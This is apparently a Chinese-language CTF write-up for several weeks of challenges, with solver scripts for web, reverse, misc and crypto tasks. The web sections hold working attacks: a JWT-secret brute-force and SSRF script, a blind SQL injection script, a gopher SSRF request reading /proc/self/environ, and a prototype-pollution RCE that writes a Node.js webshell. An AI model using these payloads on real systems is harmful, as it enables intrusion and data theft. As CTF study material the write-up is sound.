<!-- 那源码是不是可以用某些办法拿到呢! -->
{{ text }}<br>
{% if logged_in %}
<a href="/logout">登出</a>
{% else %}
<h2>登录</h2>
<form action="/login" method="post">
用户名: <input type="text" name="username"><br>
密码: <input type="password" name="password"><br>
<input type="submit" value="登录">
</form>
{% endif %}
<br>
{% if user=="admin" %}
<a href="/admin">Go to admin panel</a>
<img src="/2.png">
{% else %}
<img src="/1.png">
{% endif %}
</body>
</html>
''', text=text, logged_in=logged_in, user=data.get('user'))

@app.route('/admin')
def admin():
try:
token = request.cookies.get('token')
if verify_token(token) != True:
return verify_token(token)
resp_text = render_template_string(r'''
<!DOCTYPE html>
<html>
<head>
<title>Admin Panel</title>
</head>
<body>
<h1>Admin Panel</h1>
<p>GET Server Info from api:</p>
<input type="input" value={{api_url}} id="api" readonly>
<button onclick=execute()>Execute</button>
<script>
function execute() {
fetch("{{url}}/execute?api_address="+document.getElementById("api").value,
{credentials: "include"}
).then(res => res.text()).then(data => {
document.write(data);
});
}
</script>
</body>
</html>
''', api_url=request.host_url+"/api", url=request.host_url)
resp = make_response(resp_text)
resp.headers['Access-Control-Allow-Credentials'] = 'true'
return resp
except:
return make_response("Token is invalid!<br><img src='/3.png'>", 401)

@app.route('/execute')
def execute():
token = request.cookies.get('token')
if verify_token(token) != True:
return verify_token(token)
api_address = request.args.get("api_address")
if not api_address:
return make_response("No api address!", 400)
response = requests.get(api_address, cookies={'token': token})
return response.text

@app.route("/api")
def api():
token = request.cookies.get('token')
if verify_token(token) != True:
return verify_token(token)
resp = make_response(f"Server Info: {os.popen('uname -a').read()}")
resp.headers['Access-Control-Allow-Credentials'] = 'true'
return resp


@app.route("/<path:file>")
def static_file(file):
print(file)
restricted_keywords = ["proc", "env", "passwd", "shadow", "hosts", "sys", "log", "etc",
"bin", "lib", "tmp", "var", "run", "dev", "home", "boot"]
if any(keyword in file for keyword in restricted_keywords):
return make_response("STOP!", 404)
if not os.path.exists("./static/" + file):
return make_response("Not found!", 404)
return send_file("./static/" + file)

if __name__ == '__main__':
app.run(host="0.0.0.0",port=5000)

简单的审计一下代码

密码的登陆是uuid

1
2
3
base_key = str(uuid.uuid4()).split("-")
secret_key = get_random_number_string(6)
admin_pass = "".join([ _ for _ in base_key])

同时限制了登录次数,所以不能直接fuzz爆破

1
2
3
4
5
if failure_count >= 100:
return make_response("You have tried too many times! Please restart the service!", 403)
data = jwt.decode(token, secret_key, algorithms=["HS256"])
if data.get('user') != 'admin':
failure_count += 1

伪造需要secret_key,

1
2
3
4
users = {
'admin': admin_pass,
'amiya': "114514"
}

本段代码我们可以知道一个有效账户 amiya,密码 114514,通过发包登录,我们可以获得一个有效的 token,据此能在本地认证签名 secret_key 的有效性,爆破出 secret_key,然后查看登录后的逻辑:

前端请求 /execute 指定 api_address,而 api_address 可控且没有校验,存在 SSRF 漏洞。

利用 /execute 路由的 SSRF 漏洞让服务器自己访问

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import time
import requests
import jwt
import sys

url = "http://39.106.48.123:19369/"

def get_number_string(number, length):
return f"{number:0{length}}"

LENGTH = 6
try:
response = requests.post(url + "login", data={"username": "amiya", "password": "114514"})
response.raise_for_status()
token = response.cookies.get("token")

if not token:
sys.exit(1)

except requests.RequestException:
sys.exit(1)

for i in range(1000000):
secret_key = get_number_string(i, LENGTH)
try:
decoded = jwt.decode(token, secret_key, algorithms=["HS256"])
break
except jwt.exceptions.InvalidSignatureError:
continue

fake_token = jwt.encode({'user': 'admin', 'exp': int(time.time()) + 600}, secret_key)

try:
flag_response = requests.get(url + "execute?api_address=http://localhost:5001/fl4g", cookies={"token": fake_token})
flag_response.raise_for_status()
print(flag_response.text)
except requests.RequestException:
pass

Re

PangBai 过家家(3)

大概流程参照Pyinstaller打包exe的反编译——LitCTF 2024(公开赛道)ezpython!!!!! - demo41 - 博客园 (cnblogs.com)

首先把exe进行解包变成pyc文件,用这个项目,或者有在线网站

extremecoders-re/pyinstxtractor: PyInstaller Extractor (github.com),得到同名的pyc,然后再找个网站反编译文件

反编译,得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: NotNormalExe.py
# Bytecode version: 3.12.0rc2 (3531)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)

import sys
print('Welcome to NewStar~')
print('Please input the flag:')
enc = [40, 9, 22, 52, 15, 56, 66, 71, 111, 121, 90, 33, 18, 40, 3, 13, 80, 28, 65, 68, 83, 88, 34, 86, 5, 12, 35, 82, 67, 3, 17, 79]
key = 'NewStar2024'
input = input('> ')
if len(input) != len(enc):
print('Wrong flag, try again!')
sys.exit(0)
for i in range(len(input)):
if enc[i] != ord(input[i]) ^ ord(key[i % len(key)]):
print('Wrong flag, try again!')
sys.exit(0)
print('Correct flag!')

解密得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Given encrypted values
enc = [40, 9, 22, 52, 15, 56, 66, 71, 111, 121, 90, 33, 18, 40, 3, 13, 80, 28, 65, 68, 83, 88, 34, 86, 5, 12, 35, 82, 67, 3, 17, 79]
key = 'NewStar2024'

# Decrypting the flag
flag = []
for i in range(len(enc)):
# Compute the corresponding character
char = chr(enc[i] ^ ord(key[i % len(key)]))
flag.append(char)

# Join the list into a string
decrypted_flag = ''.join(flag)
print('Decrypted flag:', decrypted_flag)
# flag{Y0u_Know_Py1nstall3r_W311!}

Misc

BGM坏了吗?

用aud检测一下,在最后十秒内有电话播音,可以提取这段音频,用工具得到

38

AmazingGame

jeb直接秒,游戏挺好玩的,base64解密

39

OSINT-MASTER

飞机定位可以看到是B-2419,查一下飞机的航班的飞行时间定位具体航班

41

看一下对应的航班

40

根据图片下面有个弯道河简单定位一下是济宁市

flag{MU5156_济宁市}

ez_jai

测试了一会发现了花括号可以用<%%>进行绕过

1
2
3
void user_code() <%
printf("Hello, World!");
%>

43

Crypto

故事新编1

先解密维吉尼亚密码,根据后面的无序尾猜测位数

42

得到之后一直在尝试但是一直没解出来,明显是出题人问题,有存在一个换行符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from hashlib import md5
zen1 = '''
BEAUTIFUL IS BETTER THAN UGLY.
EXPLICIT IS BETTER THAN IMPLICIT.
SIMPLE IS BETTER THAN COMPLEX.
COMPLEX IS BETTER THAN COMPLICATED.
FLAT IS BETTER THAN NESTED.
SPARSE IS BETTER THAN DENSE.
FLAGA IS VEGENERE
READABILITY COUNTS.
SPECIAL CASES AREN'T SPECIAL ENOUGH TO BREAK THE RULES.
ALTHOUGH PRACTICALITY BEATS PURITY.
ERRORS SHOULD NEVER PASS SILENTLY.
UNLESS EXPLICITLY SILENCED.

'''
key1 = "SUBTITUTION"
def enc1(plaintext, key):
def shift_char(c, k):
return chr(((ord(c) - ord('A') + (ord(k) - ord('A'))) % 26) + ord('A'))

plaintext = plaintext.upper()
key = key.upper()
ciphertext = []
key_index = 0

for char in plaintext:
if char.isalpha():
ciphertext.append(shift_char(char, key[key_index % len(key)]))
key_index += 1
else:
ciphertext.append(char)

return ''.join(ciphertext)
print('enc = \'\'\'' + enc1(zen1, key1)+'\'\'\'')
flag = b'flag{'+md5(zen1.encode()).hexdigest().encode()+b'}'
print(flag)

故事新编2

参照1也是先解再解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from hashlib import md5
zen2 = '''
IN THE FACE OF AMBIGUITY, REFUSE THE TEMPTATION TO GUESS.
THERE SHOULD BE ONE-- AND PREFERABLY ONLY ONE --OBVIOUS WAY TO DO IT.
ALTHOUGH THAT WAY MAY NOT BE OBVIOUS AT FIRST UNLESS YOU'RE DUTCH.
NOW IS BETTER THAN NEVER.
ALTHOUGH NEVER IS OFTEN BETTER THAN RIGHT NOW.
IF THE IMPLEMENTATION IS HARD TO EXPLAIN, IT'S A BAD IDEA.
IF THE IMPLEMENTATION IS EASY TO EXPLAIN, IT MAY BE A GOOD IDEA.

'''
key2 ='supersubtitution'
dict1 = {'A': 0, 'B': 1, 'C': 2, 'D': 3, 'E': 4,
'F': 5, 'G': 6, 'H': 7, 'I': 8, 'J': 9,
'K': 10, 'L': 11, 'M': 12, 'N': 13, 'O': 14,
'P': 15, 'Q': 16, 'R': 17, 'S': 18, 'T': 19,
'U': 20, 'V': 21, 'W': 22, 'X': 23, 'Y': 24, 'Z': 25}

dict2 = {0: 'A', 1: 'B', 2: 'C', 3: 'D', 4: 'E',
5: 'F', 6: 'G', 7: 'H', 8: 'I', 9: 'J',
10: 'K', 11: 'L', 12: 'M', 13: 'N', 14: 'O',
15: 'P', 16: 'Q', 17: 'R', 18: 'S', 19: 'T',
20: 'U', 21: 'V', 22: 'W', 23: 'X', 24: 'Y', 25: 'Z'}

def generate_key(message, key):
for i in range(len(message)):
if message[i].isalpha() == False:
pass
else:
key += message[i]
return key
def enc2(message, key):
message = message.upper()
key = key.upper()
key_new = generate_key(message, key)
cipher_text = ''
i = 0
for letter in message:
if letter.isalpha():
x = (dict1[letter]+dict1[key_new[i]]) % 26
i += 1
cipher_text += dict2[x]
else:
cipher_text += letter
return cipher_text
print('enc = \'\'\'' + enc2(zen2, key2)+'\'\'\'')
flag = b'flag{'+md5(zen2.encode()).hexdigest().encode()+b'}'
print(flag)

week4

web

blindsql2

其实我的week3就是对的只是默认不匹配除_的字符导致我以为爆出来的表只有一个,现在上一下这周的脚本吧,f脚本需要多跑几次才能出准确的flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import time
import requests
import string
dicts = string.ascii_letters + string.digits + "_"+"-"+"{"+"}"+","
flag = ''
url = 'http://eci-2ze1c97lhjoq1bd4ebwl.cloudeci1.ichunqiu.com/'
def get_flag_char(index):
for char in dicts:
#payload = f"-1'||(if(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),{index},1)like('{char}'),sleep(0.5),0))#"
#payload = f"-1'||(if(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name)like(\'secrets\')),{index},1)like('{char}'),sleep(0.5),0))#"
# id,secret_key,secret_value
#最终情况: i_want_a_girlfriend_i_want_to_beWa_good_ctfer_flag__b_cbb___b_f
payload = f"-1'||(if(mid((select(group_concat(secret_value))from(secrets)where((secret_value)like('flag%'))),{index},1)like('{char}'),sleep(0.5),0))#"
#flag{2b4cbb60-b6ff-4e2f-ab20-e9c5bc964f91}
#flag{2b4cbb60-b6ff-4e2f-ab20-e9c5b1364f91}
#flag{2b4cbb60-b6ff-4e2f-ab20-e9c5b1964f91}
params = {'student_name': payload}
try:
start_time = time.time()
r = requests.get(url=url, params=params)
end_time = time.time()
sub = end_time - start_time
if sub >= 0.5:
return char
except requests.RequestException as e:
print(f"请求失败: {e}")
return None

for i in range(1, 64):
char = get_flag_char(i)
if char:
flag += char
print(f"当前情况: {flag}")
else:
print("已结束")
break
print(f"最终情况: {flag}")

chocolate

开头直接dirsearch扫了一遍

44

第一层数字截断绕过

45

第二层md5

46

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import hashlib

# 要寻找的前五位哈希
target_prefix = '8031b'

# 从这里开始你可以定义要搜索的范围
for i in range(10000000): # 你可以根据需要调整这个范围
next_level = str(i) # 可以尝试其他类型的输入
# 计算 MD5 哈希
if hashlib.md5(next_level.encode()).hexdigest().startswith(target_prefix):
print(f'找到的值: {next_level}')
break
else:
print("no")

第三层大小写绕过bp发包

47

最后一层直接bpfuzz一下

48

ezcmsss(复现)

用dir扫目录可以发现有www.zip,下载下来里面有后台管理的账户和密码`admin_name=jizhicms1498 & admin_pass=4oP4fB51r5`

后台界面在admin.php里登入后台,发现 jizhicms v1.9.5 有一个管理界面的任意文件下载漏洞,插件里面只有一个不能出网,我到这里当时就卡住了实际流程是需要在将.zip文件上传到题目容器里,然后通过任意文件下载漏洞本地下载解压

其中的一种是在栏目管理-栏目列表-新增栏目中增加附件,上传构造好的php🐎的压缩包

上传的时候bp截取然后获取压缩包的内容

50

1
/static/upload/file/20241104/1730714912409405.zip

然后就可以按照网上泄露的漏洞来打了

51

filepath的参数随意,然后把刚才抓到的zip路径贴上去

然后对文件进行解压

52

最后跟进/A/exts/ma.php进行命令执行

53

没注意群里的提醒是不出网的,一直在想着出网,解题思路和我想的基本一致。

隐藏的密码(复现)

java还没会,学一下。找不到密码目录扫描

54

可以扫到 envjolokia 端点

55

可以找到 caef11.passwd 属性是隐藏的

56

读到密码后,根据题目描述和属性的名字可得用户名为 caef11

通过写定时任务(计划任务)的方式,以 flag 为文件名在根目录创建新文件,通过 ls 查看 flag

1
*/1 * * * * root cat /flag | xargs -I {} touch /{}

具体就不会写了,不会java的有苦头了,之后有空一定学。

PangBai 过家家(4)(复现)

hint:You just need to read main.go for solving this challenge.

直接定位main.go文件,前端在/eye路由上存在模板注入,定位一下关键代码

1
2
3
4
5
6
tmplStr := strings.Replace(string(content), "%s", input, -1)
tmpl, err := template.New("eye").Parse(tmplStr)

// render template
helper := Helper{User: user, Config: config}
err = tmpl.Execute(w, helper)

content 中的所有 "%s" 替换为 input 字符串,从而生成最终的模板字符串 tmplStr

定义并实例化 Helper 结构体,将 userconfig 数据结构传入,用于后续的模板渲染。这个 Helper 结构体充当模板中的数据源

Execute 方法用于将 helper 中的数据渲染进模板 tmpl 中,并输出到 w(例如 http.ResponseWriter)。这里会将 helper 中的字段(如 UserConfig 等)渲染到模板中被占位符引用的位置。

引用官方的解释

1
2
3
tmpl.Execute 函数用于将 tmpl 对象中的模板字符串进行渲染,第一个参数传入的是一个 Writer 对象,后面是一个上下文,在模板字符串中,可以使用 {{ . }} 获取整个上下文,或使用 {{ .A.B }} 进行层级访问。若上下文中含有函数,也支持 {{ .Func "param" }} 的方式传入变量。并且还支持管道符运算。

在本题中,由于 utils.go 定义的 Stringer 对象中的 String 方法,对继承他的每一个 struct,在转换为字符串时都会返回 [struct],所以直接使用 {{ . }} 返回全局的上下文结构会返回 [struct].

在/eye路由下,可以追溯HelperConfig两个结构体,可以尝试获取Jwt

61

1
AYZowY3EtOmSZpn3Zh0TaGCMY72SMDSr2LvK5a3zYc7OD2cNpN0KkvnsClLkLJ95

然后看另外一个路由/favorite

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
func routeFavorite(w http.ResponseWriter, r *http.Request) {

if r.Method == http.MethodPut {

// ensure only localhost can access
requestIP := r.RemoteAddr[:strings.LastIndex(r.RemoteAddr, ":")]
fmt.Println("Request IP:", requestIP)
if requestIP != "127.0.0.1" && requestIP != "[::1]" {
w.WriteHeader(http.StatusForbidden)
w.Write([]byte("Only localhost can access"))
return
}

token, _ := r.Cookie("token")

o, err := validateJwt(token.Value)
if err != nil {
w.Write([]byte(err.Error()))
return
}

if o.Name == "PangBai" {
w.WriteHeader(http.StatusAccepted)
w.Write([]byte("Hello, PangBai!"))
return
}

if o.Name != "Papa" {
w.WriteHeader(http.StatusForbidden)
w.Write([]byte("You cannot access!"))
return
}

body, err := ioutil.ReadAll(r.Body)
if err != nil {
http.Error(w, "error", http.StatusInternalServerError)
}
config.SignaturePath = string(body)
w.WriteHeader(http.StatusOK)
w.Write([]byte("ok"))
return
}

网页的右下角是个文件读的结果,文件路径默认为 config.SignaturePath./sign.txt 的内容。

代码说明了如果是PUT请求可以进入修改config.SignaturePath 的值,但是需要让name值为Papa才能进行

这里先构造一个jwt伪造(注意密钥不要带多余的空格)

65

于是解题思路:利用泄露的 JwtKey 伪造 Cookie,对 /favorite 发起 PUT 请求以修改 config.SignaturePath,然后访问 /favorite 获取文件读的内容。同时题目还给了限制必须来自127.0.0.1

定位代码

1
2
3
4
5
6
7
8
9
10
func (c Helper) Curl(url string) string {
fmt.Println("Curl:", url)
cmd := exec.Command("curl", "-fsSL", "--", url)
_, err := cmd.CombinedOutput()
if err != nil {
fmt.Println("Error: curl:", err)
return "error"
}
return "ok"
}

定义了一个名为 Curl 的方法,它属于 Helper 结构体,并通过调用 curl 命令去访问指定的 URL。它的主要功能是发送一个 HTTP 请求并返回结果。-- 的存在,我们没有办法进行任何命令注入或选项控制,但 curl 命令并不是只能发起 HTTP 请求,它也支持其它很多的协议,例如 FTP、Gopher 等,其中 Gopher 协议能满足我们的要求。

62

1
2
3
4
5
6
7
PUT /favorite HTTP/1.1
Host: localhost:8000
Content-Type: text/plain
Cookie: token=
Content-Length: 18

/proc/self/environ

然后构造 PUT 请求原始报文,Body 内容为想要读取的文件内容,这里读取环境变量

63

读取之后前去可以查看flag

64

ezpollute(复现)

看一下部署文件Node.js 版本为 16,使用了 node-dev 热部署启动

index.js里面的/config路由下存在merge,大概率存在原生链污染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
try {
finalConfig = clone(defaultWaterMarkConfig)
merge(finalConfig, userConfig)
fs.writeFileSync(path.join(__dirname, 'uploads', userID, 'config.json'), JSON.stringify(finalConfig))
ctx.body = {
code: 1,
msg: 'Config updated successfully',
}
} catch (e) {
ctx.body = {
code: 0,
msg: 'Some error occurred',
}
}
1
const { clone, merge } = require('./utils/merge')

merge 函数在 /util/merge.js 中,跳过名为 __proto__ 的属性,以防止原型链污染漏洞;跳过值为空字符串 "" 的属性。但我们可以通过 constructor.prototype 来绕过限制(constructor.prototype 是对象的一个属性,可以用来访问并修改对象的原型。)

1
2
3
4
5
6
7
8
9
10
# merge.js
for (let key in source) {
if (key === "__proto__") continue
if (source[key] === "") continue
if (isObject(source[key]) && key in target) {
target[key] = merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}

/process 路由调用了 fork,创建了一个 JavaScript 子进程用于水印添加

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
try {
await new Promise((resolve, reject) => {

const proc = fork(PhotoProcessScript, [userDir], { silent: true })

proc.on('close', (code) => {
if (code === 0) {
resolve('success')
} else {
reject(new Error('An error occurred during execution'))
}
})

proc.on('error', (err) => {
reject(new Error(`Failed to start subprocess: ${err.message}`))
})
})
ctx.body = {
code: 1,
msg: 'Photos processed successfully',
}
}

可以污染 NODE_OPTIONSenv,在 env 中写入恶意代码,fork 在创建子进程时就会首先加载恶意代码,从而实现 RCE,但题目不出网,所以需要换一种写法

这种写法在复现的时候没打通,按道理是可以的因为有root权限

1
2
{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\"child_process\").execSync(\"cp /flag static/script.js\").toString())//"}}}}

官p的思路差不多写个shell进去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import requests
import re
import base64
from time import sleep

url = "http://url:port"

# 获取 token
# 随便发送点图片获取 token
files = [
('images', ('anno.png', open('./1.png', 'rb'), 'image/png')),
('images', ('soyo.png', open('./2.png', 'rb'), 'image/png'))
]
res = requests.post(url + "/upload", files=files)
token = res.headers.get('Set-Cookie')
match = re.search(r'token=([a-f0-9\-\.]+)', token)
if match:
token = match.group(1)
print(f"[+] token: {token}")
headers = {
'Cookie': f'token={token}'
}


# 写入 WebShell
webshell = """
const Koa = require('koa')
const Router = require('koa-router')
const app = new Koa()
const router = new Router()

router.get("/webshell", async (ctx) => {
const {cmd} = ctx.query
res = require('child_process').execSync(cmd).toString()
return ctx.body = {
res
}
})

app.use(router.routes())
app.listen(3000, () => {
console.log('http://127.0.0.1:3000')
})
"""

# 将 WebShell 内容 Base64 编码
encoded_webshell = base64.b64encode(webshell.encode()).decode()

# Base64 解码后写入文件
payload = {
"constructor": {
"prototype": {
"NODE_OPTIONS": "--require /proc/self/environ",
"env": {
"A": f"require(\"child_process\").execSync(\"echo {encoded_webshell} | base64 -d > /app/index.js\")//"
}
}
}
}

# 原型链污染
requests.post(url + "/config", json=payload, headers=headers)

# 触发 fork 实现 RCE
try:
requests.post(url + "/process", headers=headers)
except Exception as e:
pass

sleep(2)
# 访问有回显的 WebShell
res = requests.get(url + "/webshell?cmd=cat /flag")
print(res.text)

misc

扫码领取flag

hint看一下里面base64解密,另外一个图片crc爆破一下得到二维码,搜索一下对应的二维码种类得到flag

crypto

圣石匕首

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import gmpy2
from sage.all import *

# Parameters
beta = 0.37
delta = 0.01
e = 3668637434348843171145584606519031375027610199908169273169275927238735031431533260375377791001464799116453803408104076615710166171199990283470548282669948353598733020244755959461974603778630346457439345913209321194112256348302765254052193562603687450740346132207444615610078198488883539133291840346099727880587092122957231085658576850601488737629051252914095889313671875244094452330062619943781809984690384476868543570724769198985172300665613239047649089399919032152539462701309393130614829962670866062380816370571057536421400102100259975636785825540933280194583888638501981649650640939392658268133881679239293596283
N = 9748523098652101859947730585916490335896800943242955095820326993765071194474558998322598145898741779502734772138283011560029368500998354183150180904846368209977332058847768859238711047784703104535311583123388923571789764758869419482184613566672922481672444028753365755071127320541645016370072493604532087980626825687519083734367691341907014061379844209864141989961751681235215504772582878202048494707090104738899927036896915997556102574747166491969027546256022019959716418675672979328622656831990050058120299353807110233202113906317969377201045402271911946244076903611612303290556012512559696538977841061277173754331
c = 5374936627659221745209010619827617207565185520404653329184605916859755641352457088986635357806048863755173540232471505333583684733535121482637476692432365062808450583470788320547816186936317927449796090525477205337038591439577855884910604383190932340306435201976465543731935147881754136301375206828970248293731391543905441514528959500307972606931927112031018356411970001312995489429650903529877904694901310020882390008248466887950986326522740278880600110217817950511478637493101027659292006016454642135508207492151610829525082829566392116546434101694921106423469015683277992978077101831969525458693031031468092418427

# Calculate n and m
n = round((1-2*beta-2*delta)/((1-beta)**2-2*delta-beta), 6)
m = (1-beta) * n
print(f"m = {m}, n = {n}")

# Round n up to the nearest integer and convert m to an integer
n = int(n + 1)
m = int(m)

# Calculate X and Y
X = int(pow(N, delta))
Y = int(pow(N, delta+beta))

# Set up the polynomial ring
Z.<x,y> = ZZ[]

# Create the lattice
L = Matrix(ZZ, n, n)
f = e*x - y
for i in range(n):
g = list(N**max(0,m-i) * x**(n-1-i) * f**i)
for j in range(len(g)):
L[i,j] = g[j][0] * X**(n-1-j) * Y**j

# Apply LLL algorithm
L = L.LLL()[0]

# Reconstruct the polynomial
coeff = []
for i in range(n):
coeff.append((L[i]//(X**(n-1-i)*Y**i), f'x**{n-1-i}*y**{i}'))
s = '+'.join([f'{c[0]}*{c[1]}' for c in coeff])
f = eval(s)

# Factor the polynomial
factored_f = f.factor()
print("Factored polynomial:", factored_f)

# Extract the linear factor (if exists)
linear_factor = next((factor for factor, _ in factored_f if factor.degree() == 1), None)

if linear_factor:
# Extract k and dp from the linear factor
k = abs(linear_factor.coefficients()[0]) + 1
dp = abs(linear_factor.coefficients()[1])

# Calculate p and q
p = (e * dp - 1) // k + 1
q = N // p

print(f"Possible p: {p}")
print(f"Possible q: {q}")

# Verify if p and q are correct
if p * q == N:
print("Successfully factored N!")

# Calculate private key d
phi = (p - 1) * (q - 1)
d = int(gmpy2.invert(e, phi))

print(f"Private key d: {d}")

# Decrypt the message
m = pow(c, d, N)
plaintext = bytes.fromhex(hex(m)[2:])
print("Decrypted message:", plaintext)
else:
print("Failed to factor N correctly.")
else:
print("No linear factor found. The attack might have failed.")

欧拉欧拉!!

发现对n可以直接用factordb分解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Util.number import *

p = 1523365295049608852447528761114036169506740936697335552555682720997896170562682523843468707748630306876516559528314335864164090878934605899152321495370201
n = 18104347461003907895610914021247683508445228187648940019610703551961828343286923443588324205257353157349226965840638901792059481287140055747874675375786201782262247550663098932351593199099796736521757473187142907551498526346132033381442243277945568526912391580431142769526917165011590824127172120180838162091
e = 65537
c = 14859652090105683079145454585893160422247900801288656111826569181159038438427898859238993694117308678150258749913747829849091269373672489350727536945889312021893859587868138786640133976196803958879602927438349289325983895357127086714561807181967380062187404628829595784290171905916316214021661729616120643997

q = n // p

if not isPrime(q):
print("q 不是素数,检查输入")
else:
print(f"找到 q: {q}")
phi_n = (p - 1) * (q - 1)
d = inverse(e, phi_n)
m = pow(c, d, n)
flag = long_to_bytes(m)
print("flag =", flag)

week5

crypto

RSA?cmd5!

得到的MD5值去cmd5的网址可以直接出,然后继续解密即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from Crypto.Util.number import *
from gmpy2 import *
import hashlib

# 给定的密文和签名
c = 119084320846787611587774426118526847905825678869032529318497425064970463356147909835330423466179802531093233559613714033492951177656433798856482195873924140269461792479008703758436687940228268475598134411304167494814557384094637387369282900460926092035234233538644197114822992825439656673482850515654334379332
s = 5461514893126669960233658468203682813465911805334274462134892270260355037191167357098405392972668890146716863374229152116784218921275571185229135409696720018765930919309887205786492284716906060670649040459662723215737124829497658722113929054827469554157634284671989682162929417551313954916635460603628116503
n = 139458221347981983099030378716991183653410063401398496859351212711302933950230621243347114295539950275542983665063430931475751013491128583801570410029527087462464558398730501041018349125941967135719526654701663270142483830687281477000567117071676521061576952568958398421029292366101543468414270793284704549051
e = 65537


def get_MD5(m0):
md5_object = hashlib.md5(m0.encode())
md5_result = md5_object.hexdigest()
return md5_result


def get_s(m0, d0, n0):
hm0 = get_MD5(m0)
hm1 = bytes_to_long(hm0.encode())
s0 = pow(hm1, d0, n0)
return s0


def rsa_encode(m0, e0, n0):
m1 = bytes_to_long(m0.encode())
c0 = pow(m1, e0, n0)
return c0


def get_flag(m0):
flag = 'flag{th1s_1s_my_k3y:' + m0 + '0x' + hashlib.sha256(m0.encode()).hexdigest() + '}'
return flag


def recover_message_from_signature():
"""通过签名恢复MD5值"""
recovered_md5_int = pow(s, e, n)
recovered_md5 = long_to_bytes(recovered_md5_int).decode()
print(f"Recovered MD5: {recovered_md5}")
return recovered_md5


def verify_message(message):
"""验证消息的正确性"""
# 验证MD5
calculated_md5 = get_MD5(message)
recovered_md5 = "86133884de98baada58a8c4de66e15b8"

print("\nVerification results:")
print(f"Message: {message}")
print(f"Calculated MD5: {calculated_md5}")
print(f"Expected MD5: {recovered_md5}")
print(f"MD5 Match: {calculated_md5 == recovered_md5}")

# 计算签名验证
hm1 = bytes_to_long(calculated_md5.encode())
verify_result = pow(s, e, n)
print(f"Signature verification: {verify_result == hm1}")

return calculated_md5 == recovered_md5


def main():
# Step 1: 从签名中恢复MD5
print("Step 1: Recovering MD5 from signature...")
recovered_md5 = recover_message_from_signature()

# Step 2: 我们已知消息是 "adm0n12"
message = "adm0n12"
print(f"\nStep 2: Using known message: {message}")

# Step 3: 验证消息
print("\nStep 3: Verifying message...")
if verify_message(message):
# Step 4: 生成flag
print("\nStep 4: Generating flag...")
flag = get_flag(message)
print("\nFinal Flag:")
print(flag)

# Step 5: 额外验证 - 检查密文
print("\nStep 5: Additional verification...")
test_c = rsa_encode(flag, e, n)
print(f"Ciphertext match: {test_c == c}")
else:
print("Message verification failed!")


if __name__ == "__main__":
main()

easy_ecc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from Crypto.Util.number import *
from sage.all import * # type: ignore

# Given parameters
p = 64408890408990977312449920805352688472706861581336743385477748208693864804529
a = 111430905433526442875199303277188510507615671079377406541731212384727808735043
b = 89198454229925288228295769729512965517404638795380570071386449796440992672131
k = 86388708736702446338970388622357740462258632504448854088010402300997950626097

# Given ciphertext points
c1_x = 10968743933204598092696133780775439201414778610710138014434989682840359444219
c1_y = 50103014985350991132553587845849427708725164924911977563743169106436852927878
c2_x = 16867464324078683910705186791465451317548022113044260821414766837123655851895
c2_y = 35017929439600128416871870160299373917483006878637442291141472473285240957511

# Given encrypted message parts
c_left = 15994601655318787407246474983001154806876869424718464381078733967623659362582
c_right = 3289163848384516328785319206783144958342012136997423465408554351179699716569

# Initialize the elliptic curve
E = EllipticCurve(GF(p), [a,b])

# Convert points to curve points
C1 = E(c1_x, c1_y)
C2 = E(c2_x, c2_y)

# Decrypt the message point
M = C1 - k*C2

# Get the original message coordinates
m_x = M[0]
m_y = M[1]

# Convert to GF(p) elements
F = GF(p)
m_x = F(m_x)
m_y = F(m_y)

# Calculate multiplicative inverse
m_x_inv = 1/m_x
m_y_inv = 1/m_y

# Recover the flag parts using multiplicative inverse
flag_left = c_left * m_x_inv
flag_right = c_right * m_y_inv

# Convert to bytes
flag_left = long_to_bytes(int(flag_left))
flag_right = long_to_bytes(int(flag_right))

# Print the result
print("Recovered flag:", flag_left + flag_right)

没e也能玩

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
